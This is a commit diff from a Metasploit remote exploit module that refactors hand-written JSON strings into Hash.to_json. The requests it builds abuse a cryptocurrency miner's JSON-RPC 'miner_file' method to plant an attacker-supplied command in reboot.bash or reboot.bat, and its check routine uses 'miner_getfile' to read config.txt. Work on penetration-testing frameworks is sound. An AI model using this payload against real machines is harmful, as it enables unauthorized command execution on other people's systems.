refactor: use Hash.to_json instead of strings
parent
6d4ad57beb
commit
5649dd0598
|
@ -68,9 +68,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
case target['Platform']
|
case target['Platform']
|
||||||
when 'linux'
|
when 'linux'
|
||||||
upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bash\", \"#{cmd}\"]}"
|
upload = {
|
||||||
|
"id" => 0,
|
||||||
|
"jsonrpc" => '2.0',
|
||||||
|
"method" => 'miner_file',
|
||||||
|
"params" => ['reboot.bash', "#{cmd}"]
|
||||||
|
}.to_json
|
||||||
when 'windows'
|
when 'windows'
|
||||||
upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}"
|
upload = {
|
||||||
|
"id" => 0,
|
||||||
|
"jsonrpc" => '2.0',
|
||||||
|
"method" => 'miner_file',
|
||||||
|
"params" => ['reboot.bat', "#{cmd}"]
|
||||||
|
}.to_json
|
||||||
end
|
end
|
||||||
begin
|
begin
|
||||||
connect
|
connect
|
||||||
|
@ -105,7 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}'
|
data = {
|
||||||
|
"id" => 0,
|
||||||
|
"jsonrpc" => '2.0',
|
||||||
|
"method" => 'miner_getfile',
|
||||||
|
"params" => ['config.txt']
|
||||||
|
}.to_json
|
||||||
connect
|
connect
|
||||||
sock.put(data)
|
sock.put(data)
|
||||||
buf = sock.get_once || ''
|
buf = sock.get_once || ''
|
||||||
|
|
Loading…
Reference in New Issue